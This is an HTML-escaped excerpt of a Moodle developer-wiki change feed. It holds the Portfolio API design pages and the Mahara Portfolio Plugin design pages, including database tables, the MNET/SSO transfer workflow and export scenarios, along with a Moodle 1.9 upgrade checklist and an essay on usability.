&#039;&#039;&#039;portfolio_log:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Datatype&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Comment&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|id&lt;br /&gt;
|integer&lt;br /&gt;
|sequence&lt;br /&gt;
|-&lt;br /&gt;
|userid&lt;br /&gt;
|integer&lt;br /&gt;
|(pseudo) fk to mdl_user&lt;br /&gt;
|-&lt;br /&gt;
|time&lt;br /&gt;
|integer&lt;br /&gt;
|unix timestamp of transfer&lt;br /&gt;
|-&lt;br /&gt;
|portfolio&lt;br /&gt;
|integer&lt;br /&gt;
|(pseudo) fk to mdl_portfolio_instance&lt;br /&gt;
|-&lt;br /&gt;
|caller_class&lt;br /&gt;
|varchar(150)&lt;br /&gt;
|name of caller class (used in the case of duplicates to display information)&lt;br /&gt;
|-&lt;br /&gt;
|caller_file&lt;br /&gt;
|varchar(255)&lt;br /&gt;
|file that contains the definition of caller_class&lt;br /&gt;
|-&lt;br /&gt;
|caller_sha1&lt;br /&gt;
|varchar(255)&lt;br /&gt;
|sha1 information of export&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;portfolio_tempdata&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Datatype&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Comment&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|id&lt;br /&gt;
|integer&lt;br /&gt;
|sequence&lt;br /&gt;
|-&lt;br /&gt;
|data&lt;br /&gt;
|text&lt;br /&gt;
|serialized representation of export data&lt;br /&gt;
|-&lt;br /&gt;
|expirytime&lt;br /&gt;
|integer&lt;br /&gt;
|time this data (and the transfer) expires (and the record (and associated files)) will be deleted&lt;br /&gt;
|-&lt;br /&gt;
|userid&lt;br /&gt;
|integer&lt;br /&gt;
|psuedo fk to mdl_user&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
All plugins can also implement their own database tables as needed, by creating a db/install.xml and db/upgrade.php inside portfolio/type/xxx/ (See [[Writing_a_Portfolio_Plugin]]) for more information.&lt;br /&gt;
&lt;br /&gt;
===Portfolio Plugins===&lt;br /&gt;
&lt;br /&gt;
#[[Mahara_Portfolio_Plugin|mahara]] (will be done for the initial implementation)&lt;br /&gt;
#download (will be done for the initial implementation) &lt;br /&gt;
#box.net (will be done for the initial implementation)&lt;br /&gt;
#flickr (Nico has been writing this but it is incomplete)&lt;br /&gt;
#googledocs (I think DanP has been writing this)&lt;br /&gt;
&lt;br /&gt;
transport types and formats should be able to be found in a shared location for multiple plugins of both portfolio and repository type to use, but also might be specific to one type of plugin which means that moodle should support looking in multiple locations for these plugins. (eg mahara native format would be in the mahara portfolio plugin, but pdf format will be in a shared library)&lt;br /&gt;
&lt;br /&gt;
===Possible Transport Types===&lt;br /&gt;
&lt;br /&gt;
# mnet (will be done for the initial implementation as part of the Mahara Portfolio Plugin)&lt;br /&gt;
# download (just uses send_file_* functions)&lt;br /&gt;
# http&lt;br /&gt;
# filesystem (could be local/nfs/samba whatever) (cp)&lt;br /&gt;
# ssh based (eg scp - should find and re-use the elgg block code as it deals with using ssh keys nicely)&lt;br /&gt;
# webdav&lt;br /&gt;
# open social? (http://code.google.com/apis/opensocial/)&lt;br /&gt;
&lt;br /&gt;
===Possible Export Formats===&lt;br /&gt;
&lt;br /&gt;
(Note that we don&#039;t necessarily want more than one of these for the initial implementation)&lt;br /&gt;
&lt;br /&gt;
* implemented now:&lt;br /&gt;
# html &lt;br /&gt;
# image&lt;br /&gt;
# video&lt;br /&gt;
# plaintext&lt;br /&gt;
# &#039;file&#039; (fallback)&lt;br /&gt;
&lt;br /&gt;
* possibly implemented in the future&lt;br /&gt;
# pdf&lt;br /&gt;
# encrypted pdf&lt;br /&gt;
# ims?&lt;br /&gt;
# leap/piop? (http://wiki.cetis.ac.uk/LEAP_2.0) &lt;br /&gt;
# moodle native?&lt;br /&gt;
# mahara native?&lt;br /&gt;
# Dublin Core (Enovation implemented this)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Testing===&lt;br /&gt;
&lt;br /&gt;
At this stage, the portfoliolib and button objects have tests, and the callers have tests to check whether their sha1 generation remains consistent appropriately.  This includes the implicit testing of constructing the caller objects (which verifies the callback arguments).&lt;br /&gt;
&lt;br /&gt;
The plugins are not currently tested and even if they were we would not be able to test interaction with the remote system.&lt;br /&gt;
&lt;br /&gt;
==MNET==&lt;br /&gt;
&lt;br /&gt;
This section has moved to [[MNET_Roadmap]]&lt;br /&gt;
&lt;br /&gt;
See also [[MNET_API]] for the documentation of xmlrpc functions&lt;br /&gt;
&lt;br /&gt;
==Duplication of Data==&lt;br /&gt;
&lt;br /&gt;
Moodle will keep track of what content it transfers and when.  It keeps a sha1 has of the data, so that if the user tries to export the same content, Moodle can warn the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It cannot, however, be responsible for how external systems deal with this case. The different plugins can do what they can.  For example, mahara will create new files rather than overwrite.  The box.net plugin will try very hard to rename files to avoid collisions.&lt;br /&gt;
&lt;br /&gt;
==Save points in Moodle==&lt;br /&gt;
&lt;br /&gt;
moved to http://tracker.moodle.org/browse/MDL-15758 during development&lt;br /&gt;
&lt;br /&gt;
==Still TODO==&lt;br /&gt;
&lt;br /&gt;
There are a few things still I have not been able to complete for various reasons (generally reliance on other parts of the system, eg Files API).  There are bugs for all of these, but reproduced here for completeness:&lt;br /&gt;
&lt;br /&gt;
* MDL-16406 - waiting on QA (Jerome)&lt;br /&gt;
* MDL-16048 - waiting on QA (Nico)&lt;br /&gt;
* MDL-16313 - this just didn&#039;t get far enough up my list and I&#039;m still not sure how relevant it is.&lt;br /&gt;
* MDL-15777 - reliance on Files API - data fields that subclass data_field_file need to be extracted and copied separately into the export area using copy_existing_file - this is essentially done but I still think picture should subclass file. More info in MDL-16493&lt;br /&gt;
* MDL-15777 - reliance on Files API - data module can only export as CSV even though plain export also supports ods/xls as those two libraries are not updated to the new Files API.  More info in MDL-15911&lt;br /&gt;
* MDL-16326 - reliance on Files API - &#039;file&#039; resource module has not been updated to use Files API, so exporting from this type is not yet implemented (currently HTML and plaintext only)&lt;br /&gt;
* MDL-16175 - (currently) unreasonable reliance on exceptions.  Especially for queued events, currently if a portfolio transfer is woken up at cron to be completed and an error happens in mnet (eg one remote site is down or misconfigured), the entire cronjob will die as mnet functions call print_error, which calls die(). This essentially means cron will stay broken (for all of moodle) until that transfer expires.   This is not really a bug in portfolio code, but it definitely exacerbates an already brittle situation.&lt;br /&gt;
&lt;br /&gt;
===Unit Test TODO===&lt;br /&gt;
&lt;br /&gt;
Currently there&#039;s quite a few tests implemented, but outstanding are tests that rely on the generator to create files for the callers.  As the generator gets updated to create this data, the portfolio unit tests will start throwing exceptions in the portfolio_exporter_text-&amp;gt;copy_existing_file method so that it will become obvious when this needs to be updated as the tests will start failing (they are currently passing)&lt;br /&gt;
&lt;br /&gt;
==Current exhaustive list of export scenarios==&lt;br /&gt;
&lt;br /&gt;
===mod/assignment===&lt;br /&gt;
&lt;br /&gt;
====upload single file====&lt;br /&gt;
&lt;br /&gt;
This is pretty straightforward.  It should display the export icon next to the single file (no large form/button), and the export should respect the mime-based subtypes (_IMAGE, _VIDEO etc)&lt;br /&gt;
&lt;br /&gt;
====upload multiple files====&lt;br /&gt;
&lt;br /&gt;
This one is a little more complex. You should get an export icon next to individual files, and, additionally, if there is more than one, an export form at the bottom (which will export all files).   Exporting multiple files will always stop mime detection and fallback to _FILE format.&lt;br /&gt;
&lt;br /&gt;
====online text====&lt;br /&gt;
&lt;br /&gt;
Displays the full form at the bottom of the page. Should export as format _HTML.&lt;br /&gt;
&lt;br /&gt;
===mod/chat===&lt;br /&gt;
&lt;br /&gt;
These should all export as format _HTML, and contain no references back to Moodle (eg user profile images, which won&#039;t be able to be seen necessarily)&lt;br /&gt;
&lt;br /&gt;
====Session page====&lt;br /&gt;
&lt;br /&gt;
Should export entire session.&lt;br /&gt;
&lt;br /&gt;
====Report page per session====&lt;br /&gt;
&lt;br /&gt;
Should export entire session.&lt;br /&gt;
&lt;br /&gt;
====Report page all sessions====&lt;br /&gt;
&lt;br /&gt;
Should concatenate all sessions together.&lt;br /&gt;
&lt;br /&gt;
===mod/data===&lt;br /&gt;
&lt;br /&gt;
====Single entry export====&lt;br /&gt;
&lt;br /&gt;
Should export as HTML.  Any files should be included along with the html.  If there is only one field in the entry and it is a file or image, the mimetype should be respected, and the export format should be based on that (eg _IMAGE)&lt;br /&gt;
&lt;br /&gt;
====Whole database instance export====&lt;br /&gt;
&lt;br /&gt;
Should export as CSV.   Files are not included (This is the same as the other CSV export)&lt;br /&gt;
&lt;br /&gt;
===mod/forum===&lt;br /&gt;
&lt;br /&gt;
====Whole discussion====&lt;br /&gt;
&lt;br /&gt;
The export format is FILE, attachments come alongside discussion.html - this could be improved later to be HTML if there are no attachments.&lt;br /&gt;
&lt;br /&gt;
====Single post====&lt;br /&gt;
&lt;br /&gt;
The export format is _HTML.&lt;br /&gt;
&lt;br /&gt;
====Single post with attachments====&lt;br /&gt;
&lt;br /&gt;
The export format is FILE as it&#039;s mixed, and attachments come alongside post.html.&lt;br /&gt;
&lt;br /&gt;
====Single attachment====&lt;br /&gt;
&lt;br /&gt;
Mimetypes should be respected and the export format should be based on them (eg _IMAGE)&lt;br /&gt;
&lt;br /&gt;
===mod/glossary===&lt;br /&gt;
&lt;br /&gt;
====Single entry export====&lt;br /&gt;
&lt;br /&gt;
Should export the entry as HTML.&lt;br /&gt;
&lt;br /&gt;
====Whole glossary export====&lt;br /&gt;
&lt;br /&gt;
Should export the glossary as CSV - similar to a current glossary export.&lt;br /&gt;
&lt;br /&gt;
===mod/resource===&lt;br /&gt;
&lt;br /&gt;
====HTML resource====&lt;br /&gt;
&lt;br /&gt;
Should export as _HTML.&lt;br /&gt;
&lt;br /&gt;
====text resource====&lt;br /&gt;
&lt;br /&gt;
Should export as _TEXT.&lt;br /&gt;
&lt;br /&gt;
====file resource====&lt;br /&gt;
&lt;br /&gt;
Not implemented yet. Blocked by FILES API. Should respect the mimetype of the file and export in the appropriate format.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
* [[Repository API]]&lt;br /&gt;
* [[File API]]&lt;br /&gt;
* MDL-14591 - Portfolio API Meta issue&lt;br /&gt;
&lt;br /&gt;
[[ja: 開発:ポートフォリオAPI]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Mahara_Portfolio_Plugin&amp;diff=10226</id>
		<title>Mahara Portfolio Plugin</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Mahara_Portfolio_Plugin&amp;diff=10226"/>
		<updated>2008-11-11T02:17:32Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja linnk&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Initial communication between Moodle and Mahara===&lt;br /&gt;
&lt;br /&gt;
After the user has chosen &#039;Mahara&#039; and clicked on an export to portfolio button, the first step that gets control passed to the plugin is the steal_control function, before process_stage_config is called.&lt;br /&gt;
&lt;br /&gt;
At this point, Moodle should attempt to communicate an &#039;intent to transfer&#039; to Mahara, giving it the necessary information about the user.  Mahara at this point should create the user account if necessary.  Mahara will send back one of three things - no, queue only, or queue and immediate.  This is to indicate whether the transfer can take place while the user is waiting, or whether a queued transfer will be enforced by Mahara. Mahara should insert an &#039;intent&#039; entry into a database table and send Moodle back the id, which Moodle will store in a queue table.&lt;br /&gt;
&lt;br /&gt;
===Config section===&lt;br /&gt;
&lt;br /&gt;
Moodle is then able to present the user with the config form, giving them the options of waiting (if allowed) as well as choosing the format to send the data in (this causes problems with the ordering of things - see Questions section), and any required metadata.&lt;br /&gt;
&lt;br /&gt;
===File ready ping===&lt;br /&gt;
Once the user has confirmed the transfer, depending on whether the user has elected to wait or not, Moodle will either initate the package and send stages, or queue the item.  Essentially these are the same. During both models, Moodle just sends a &#039;file ready&#039; request to Mahara. In the interactive model, it also waits for the response from Mahara to say it has succeeded.&lt;br /&gt;
&lt;br /&gt;
When Mahara sends the &#039;file ready&#039; request, it also sends Mahara a location to retrieve the file from via a direct HTTP GET request.  This is dependent on the file API in Moodle.  As part of this request, Mahara will also send the original ID it sent back to Moodle in step 1, which Moodle is able to use to verify it should send the file.&lt;br /&gt;
&lt;br /&gt;
===On the Mahara side===&lt;br /&gt;
&lt;br /&gt;
====New core cronjob to process the queued requests====&lt;br /&gt;
&lt;br /&gt;
This will be called every 5 minutes and the function will be process_incoming_content_queue or similar.&lt;br /&gt;
&lt;br /&gt;
====New MNET functions====&lt;br /&gt;
&lt;br /&gt;
# portfolio/content_intent - Moodle signifies its intent to transfer content to Mahara and Mahara creates the user if necessary and returns no, queueonly or queueandwait &lt;br /&gt;
&lt;br /&gt;
# portfolio/content_ready - Moodle has finished its part of the export and has prepared a file for Mahara to fetch.  Depending on whether the transfer is happening interactively or not, Mahara will either queue the job for the next cron run to pick up, or initiate the transfer directly.&lt;br /&gt;
&lt;br /&gt;
====New database tables====&lt;br /&gt;
&lt;br /&gt;
There needs to be a table to store data between the content_intent and content_ready requests.&lt;br /&gt;
&lt;br /&gt;
The table will look like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
|&#039;&#039;&#039;Field&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Datatype&#039;&#039;&#039;&lt;br /&gt;
|&#039;&#039;&#039;Comment&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
|id &lt;br /&gt;
|integer&lt;br /&gt;
|sequence. this is sent back to Moodle after the content_intent ping&lt;br /&gt;
|-&lt;br /&gt;
|host&lt;br /&gt;
|char(255)&lt;br /&gt;
|fk to host table&lt;br /&gt;
|-&lt;br /&gt;
|timestamp&lt;br /&gt;
|timestamp&lt;br /&gt;
|timestamp of initial content_intent ping (or maybe an expiry field instead)&lt;br /&gt;
|-&lt;br /&gt;
|userid&lt;br /&gt;
|integer&lt;br /&gt;
|fk to usr table&lt;br /&gt;
|-&lt;br /&gt;
|queue&lt;br /&gt;
|boolean&lt;br /&gt;
|whether a cronjob needs to pick this up or not&lt;br /&gt;
|-&lt;br /&gt;
|ready&lt;br /&gt;
|boolean&lt;br /&gt;
|whether moodle is ready for us to pick this up ornot&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
====relationship between  dispatcher and artefact plugins====&lt;br /&gt;
&lt;br /&gt;
artefact_plugin base class will be changed to expect plugins to export a list of formats they can import from.  This will be format/component (eg LEAP/entry or file/file) and maybe have a priority stored with them (or maybe the priority should be configured by the administrator) in case of multiple plugins supporting the same formats.&lt;br /&gt;
At import time, the handler will unpack the file and dispatch to the appropriate artefact plugin to unpack it.&lt;br /&gt;
&lt;br /&gt;
====target formats====&lt;br /&gt;
&lt;br /&gt;
Nigel and I (Penny) discussed a lot the idea about the user being given the option to select where in Mahara their content will end up.  Eventually we decided the best thing to do is that since for this iteration we are just supporting transferring files, to put them into an &#039;incoming&#039; area in their files plugin.  Later, we can get the mahara plugin in Moodle to redirect to a special page in Mahara for the user to select the target(s).&lt;br /&gt;
We discussed making the targets be a part of the mnet protocol, but dismissed it as it&#039;s potentially too complicated to expect Moodle (even a Mahara plugin inside Moodle) to render this nicely to the user.  At the point that we redirect the user to Mahara, we already have recieved a &#039;content_intent&#039; ping, so we can just store this information in Mahara and use it when we unpack the content later and Moodle doesn&#039;t even have to know about it.  The portfolio API&#039;s steal_control function supports this already so it will be pretty trivial to add later.&lt;br /&gt;
&lt;br /&gt;
====workflow====&lt;br /&gt;
&lt;br /&gt;
The more I look into this the more I think the best way to do this is:&lt;br /&gt;
&lt;br /&gt;
# get the Mahara portfolio plugin to steal_control and send the user to Moodle&#039;s jump.php, with portfolio/add.php?postcontrol=1 as $wantsurl&lt;br /&gt;
# Jump.php in Moodle will redirect the user to Mahara&#039;s land.php, which will set up their SSO session and create their account if necessary.&lt;br /&gt;
# Modify Mahara&#039;s land.php to accept an extra parameter to indicate that $wantsurl is relative to Moodle&#039;s wwwroot, rather than Mahara&#039;s&lt;br /&gt;
# Bounce the user to $wantsurl (which is the portfolio postcontrol url)&lt;br /&gt;
&lt;br /&gt;
This means that now the user is authenticated (or created) in Mahara and now we have a token to use to pass between Moodle and Mahara in the xmlrpc functions we need to call.&lt;br /&gt;
&lt;br /&gt;
It does mean that we might have an SSO session where we don&#039;t actually need one.&lt;br /&gt;
&lt;br /&gt;
I&#039;m not sure how this will affect delayed communication between the two systems (eg queued transfers) as the SSO session may have expired?&lt;br /&gt;
&lt;br /&gt;
===Proposed mnet changes===&lt;br /&gt;
&lt;br /&gt;
This section has moved to [[MNET_Roadmap]]&lt;br /&gt;
&lt;br /&gt;
===Package format=== &lt;br /&gt;
&lt;br /&gt;
As far as I can see there are two ways to approach the inclusion of metadata/manifest, either send it altogether in a file with a manifest (xml or txt), or send it in the content_ready xmlrpc call.  Each one has its pros and cons.  Either way this might be overkill now, but we do at least need a manifest to explain exactly what content we have.  (And I think it&#039;s obvious we need to use a zip file)&lt;br /&gt;
&lt;br /&gt;
====Manifest.xml====&lt;br /&gt;
The biggest obvious downside to this approach is that we need to define the format now, which is not something that we need to do really to just transfer file&lt;br /&gt;
&lt;br /&gt;
====bundled in content_ready====&lt;br /&gt;
Having to store it in a temporary location between receiving it and unpacking the file and using it to create the artefacts&lt;br /&gt;
&lt;br /&gt;
====The simple approach====&lt;br /&gt;
&lt;br /&gt;
I would be tempted to do something like this manifest.txt:&lt;br /&gt;
&lt;br /&gt;
md5sum:format:filename&lt;br /&gt;
md5sum:format:filename&lt;br /&gt;
&lt;br /&gt;
where format is something like FILE or LEAP &lt;br /&gt;
&lt;br /&gt;
The problem with this is that eventually when we do something like LEAP, the content itself will be in a leap.xml file and the other files will just be associated content.  This could probably be handled by doing&lt;br /&gt;
&lt;br /&gt;
md5sum:leap:leap.xml&lt;br /&gt;
&lt;br /&gt;
At the very least, doing it like this makes it easy to send a zipfile containing multiple files (very possible for this stage: multiple files uploaded to one assignment, for example)&lt;br /&gt;
&lt;br /&gt;
===Questions===&lt;br /&gt;
&lt;br /&gt;
#Ideally during the export config stage, Moodle should be able to let the user choose additional things, like what folder to put the outgoing file into. However, because the user doesn&#039;t select the export format until this same stage, this isn&#039;t possible. There are two options here, either just automatically put the files into an &#039;coming&#039; folder in Mahara, or add an additional step to allow the user to select the target location. (Note that this holds regardless of format - blog posts that are being transferred natively (not for this development phase but potentially later) would benefit from the user being able to specify the target in Mahara.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===See Also===&lt;br /&gt;
&lt;br /&gt;
[[Portfolio_API]]&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:Maharaポートフォリオプラグイン]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Upgrading_to_Moodle_1.9&amp;diff=26666</id>
		<title>Upgrading to Moodle 1.9</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Upgrading_to_Moodle_1.9&amp;diff=26666"/>
		<updated>2008-03-07T17:52:07Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Moodle 1.9}}&lt;br /&gt;
==Before upgrading, please...==&lt;br /&gt;
&lt;br /&gt;
* Check that your site meets all system requirements for 1.9 in &#039;&#039;Administration &amp;gt; Server &amp;gt; [[Environment]]&#039;&#039;&lt;br /&gt;
* Do a full database backup!&lt;br /&gt;
* Remember to purge PHP cache if using any PHP accelerator&lt;br /&gt;
* Read [[Upgrading to Moodle 1.8]] if you are upgrading to 1.9 from 1.6 or 1.7&lt;br /&gt;
* Read [[Upgrading to Moodle 1.7]] if you are upgrading from 1.6&lt;br /&gt;
&lt;br /&gt;
===Notes===&lt;br /&gt;
* If upgrading from 1.6 or later, you must have converted your site to Unicode&lt;br /&gt;
* If upgrading from earlier than 1.6, we recommend upgrading to 1.6 first, then 1.9&lt;br /&gt;
* We recommend PHP 5.2 or later, but you must have at least PHP 4.0.16&lt;br /&gt;
&lt;br /&gt;
==Now Upgrade==&lt;br /&gt;
Now that you have satisfied the requirements for Moodle 1.9 follow the instructions on the [[Upgrading|upgrading]] page.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
&lt;br /&gt;
*[[Release Notes]]&lt;br /&gt;
*[[:Category:Moodle 1.9]]&lt;br /&gt;
*[[Question Engine Changes in Moodle 1.9]] (includes some important documentation on question engine upgrade for those who make extensive use of the question bank and quiz module)&lt;br /&gt;
Using Moodle forum discussions:&lt;br /&gt;
*[http://moodle.org/mod/forum/discuss.php?d=75088 Automatic update of language package while updating in 1.9]&lt;br /&gt;
*[http://moodle.org/mod/forum/discuss.php?d=89825 Change in Moodle 1.8 and 1.9 : admin tree icons are now themeable - some themes need to be upgraded]&lt;br /&gt;
*[http://moodle.org/mod/forum/discuss.php?d=92027 Migration 1.8 to 1.9]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Installation]]&lt;br /&gt;
&lt;br /&gt;
[[fr:Mise à jour à Moodle 1.9]]&lt;br /&gt;
[[ja:Moodle1.9へのアップグレード]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Usability&amp;diff=1738</id>
		<title>Usability</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Usability&amp;diff=1738"/>
		<updated>2008-02-17T21:42:37Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Some pointers, links, and resources on the topic of Usability (with respect to Moodle).&lt;br /&gt;
&lt;br /&gt;
==Contribute to Moodle through Usability testing==&lt;br /&gt;
&lt;br /&gt;
An ongoing need of a project such as Moodle is to keep the interface usable as the code matures. Improvements and added functionality may seem like a wonderful innovation from the coder&#039;s or administrator&#039;s point of view, but if the end-user is confused or frustrated by it (or can&#039;t even find it!), its usefulness drop dramatically.&lt;br /&gt;
&lt;br /&gt;
The idea of usability testing is simple: a person who is well-versed in Moodle gets together a small number of willing participants, who have no previous experience of using Moodle, and who are not technology experts (such as web designers etc...). The closer these people are to the &amp;quot;typical user&amp;quot; (for example a high school student), the better. The person conducting the test simply observes the participant as he/she tries to achieve a number of tasks. A video/sound recording can also be made with the prior consent of the participant, and is useful for later analysis.&lt;br /&gt;
&lt;br /&gt;
The person conducting the test then pools together the issues that were common between most participants, and produces a short and concise report that is then used by Moodle developers to improve the user interface.&lt;br /&gt;
&lt;br /&gt;
This sort of contribution requires no coding skills whatsoever, not even HTML. You just need to be familiar with using Moodle as a learner.&lt;br /&gt;
&lt;br /&gt;
The links at the bottom of this article include Steve Krug&#039;s book, &amp;quot;Don&#039;t make me think!&amp;quot;. This books is the best introduction to Usability testing I know of.&lt;br /&gt;
&lt;br /&gt;
==Bike sheds==&lt;br /&gt;
&lt;br /&gt;
Because changes with regard to Usability are necessarily visual and on the surface, it is a potential Bike Shed issue. This is a metaphor bandied around in Open Source circles that suggests (in brief) that the smaller the change, the greater the discussions that surround it in forums and mailing lists. People proposing small improvements to Moodle should be aware of this phenomenon and not take the level of discussion as an implicit criticism of their suggestion.&lt;br /&gt;
&lt;br /&gt;
You can read a well-written account of this metaphor on the BSD mailing list here: http://a.mongers.org/clueful/1999-phk-bikeshed&lt;br /&gt;
&lt;br /&gt;
==Avoid the word &amp;quot;intuitive&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
(Definition: [http://www.usabilityfirst.com/glossary/main.cgi?function=display_term&amp;amp;term_id=444 Intuitive])&lt;br /&gt;
&lt;br /&gt;
Intuitive is a word you should avoid in discussions of usability as its meaning is often confused.&lt;br /&gt;
&lt;br /&gt;
It is generally accepted that a large part of usability is based on familiarity and experience. Human Interface Guidelines published by people such as Apple or Gnome strive for logic and consistency so that the learning can be easier, and the experience more valuable. Using &#039;intuitive&#039; as a short-hand for something that is familiar often gives the impression that if something is &#039;intuitive&#039; then it is so regardless of prior learning or experience and therefore equally true for everyone. It suggests that the goodness or badness of an interface is situated within the interface itself, rather than in the relationship between the user and the interface.&lt;br /&gt;
&lt;br /&gt;
Very few people would object to the statement that &#039;Apple software is more intuitive than Windows software&#039; yet to someone who has only used Windows software, this is clearly not the case. Avoiding using the word yourself and mentally translating other people&#039;s use of intuitive as &#039;something I like&#039; e.g. &amp;quot;Moodle&#039;s block system is unintuitive&amp;quot; = &amp;quot;Moodle&#039;s block system is something I don&#039;t like&amp;quot; may help to defuse arguments because it is harder to argue about personal opinions that are stated explicitly as personal opinion rather than disguised as objective statements about the software.&lt;br /&gt;
&lt;br /&gt;
Therefore what is called intuitive, in the case of Moodle, will depend on your experience and expectations of other learning systems, web applications or sites, as well as software in general and thus varies from person to person. Usability studies should therefore average out the expectations of many people to find what is &#039;intuitive&#039; and check to see if different groups (e.g. users of particular alternative systems, total beginners) have different expectations.&lt;br /&gt;
&lt;br /&gt;
This article explains more and better (with diagrams!): http://www.uie.com/articles/design_intuitive/&lt;br /&gt;
&lt;br /&gt;
==Learnability versus usability==&lt;br /&gt;
&lt;br /&gt;
People often confuse these topics, understandbly as they do have a great deal in common. Generally what are referred to as &#039;usability&#039; improvements make things both easier to learn and easier for experienced users. Occasionally decisions need to be made favouring one over the other, and in those situations it helps to be explicit which of the two you are referring to. There are many succesful software tools that sacrifice learnability so that power-users can be more efficient. It seems likely that Moodle will continue to lean towards learnability in these cases, though again 99% of the time these goals are not in conflict.&lt;br /&gt;
&lt;br /&gt;
==Don&#039;t automatically suggest a new preference==&lt;br /&gt;
&lt;br /&gt;
In open source projects it is often easier (in the short term) to defuse any disagreement by &#039;adding a preference&#039;. This means you end up with double (or triple..) the code to achieve the same thing. That&#039;s more code to write, debug, maintain etc. And once you end up with preferences interacting the potential combinations become astronomical and you end up in the situation that no two people are actually running the same program.&lt;br /&gt;
&lt;br /&gt;
This can, over time lead to a profusion of preferences, each of which has a cost that needs to be weighed against its benefit. Sometimes finding a solution that pleases everyone (to some degree) is preferable to adding preferences for each idea,&lt;br /&gt;
&lt;br /&gt;
This is explained far better by Havoc Pennington in his piece on Open Source and User Interface, in particular the &amp;quot;Question of Preferences &amp;quot; section about half way through: http://www106.pair.com/rhp/free-software-ui.html&lt;br /&gt;
&lt;br /&gt;
==Is Moodle a website?==&lt;br /&gt;
&lt;br /&gt;
The somewhat tricky thing with regard to Moodle&#039;s usability is that Moodle is a web application, not a web site (though the line between the two is sometimes blurry) and few, if any, books have been written for that class of software. Therefore many applicable pieces of advice (from web, software or product usability guides) need to be reassessed with Moodle&#039;s nature in mind.&lt;br /&gt;
&lt;br /&gt;
==External links==&lt;br /&gt;
&lt;br /&gt;
* 37 Signals Blog: Signal versus Noise http://www.37signals.com/svn/&lt;br /&gt;
* Jabkob Neilson&#039;s website http://useit.com/&lt;br /&gt;
* Joel Spolsky&#039;s User Interface Design for Programmers http://www.joelonsoftware.com/uibook/chapters/fog0000000057.html&lt;br /&gt;
* First Principles of Interaction Design by Tog (Bruce Tognazzini) http://www.asktog.com/basics/firstPrinciples.html&lt;br /&gt;
&lt;br /&gt;
==Booklist==&lt;br /&gt;
&lt;br /&gt;
Web specific&lt;br /&gt;
&lt;br /&gt;
* [http://www.sensible.com/ Don&#039;t Make Me Think] by Steve Krug, a really good book, full of good info yet brief, well written and accessible. A [http://www.sensible.com/chapter.html sample chapter] is made available on his site, as well as [http://www.sensible.com/secondedition/index.html 3 complete chapters] from the 1st edition in pdf format, covering a complete script for usability testing.&lt;br /&gt;
&lt;br /&gt;
* [http://www.digital-web.com/articles/defensive_design_for_the_web/ Defensive Design For The Web] by [http://www.37signals.com/ 37 Signals] (Matthew Lindeman and Jason Fried).&lt;br /&gt;
&lt;br /&gt;
Computer specific&lt;br /&gt;
&lt;br /&gt;
* The Humane Interface by Jeff Raskin Jeff, who sadly passed away recently, has been more and more research focused for the last 15 years, since his days helping to create the first Macintosh. This led to a discarding all practical considerations to concieve of the &#039;perfect&#039; UI, rather than attending to the pragmatic, checklist-style &amp;quot;improve your site in 15 minutes&amp;quot; genre. However his wrting is excellent in consistently laying the blame for problems with the computer and it&#039;s software, not the user. It is often easy to fall into the trap of thinking &#039;stupid&#039; users are the problem, rather than simply a design parameter. It is however worth remembering that (unless you are a research fellow) many of these technical faults must be worked with to a certain degree, and that &amp;quot;perfection can often be the enemy of the good&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
General&lt;br /&gt;
&lt;br /&gt;
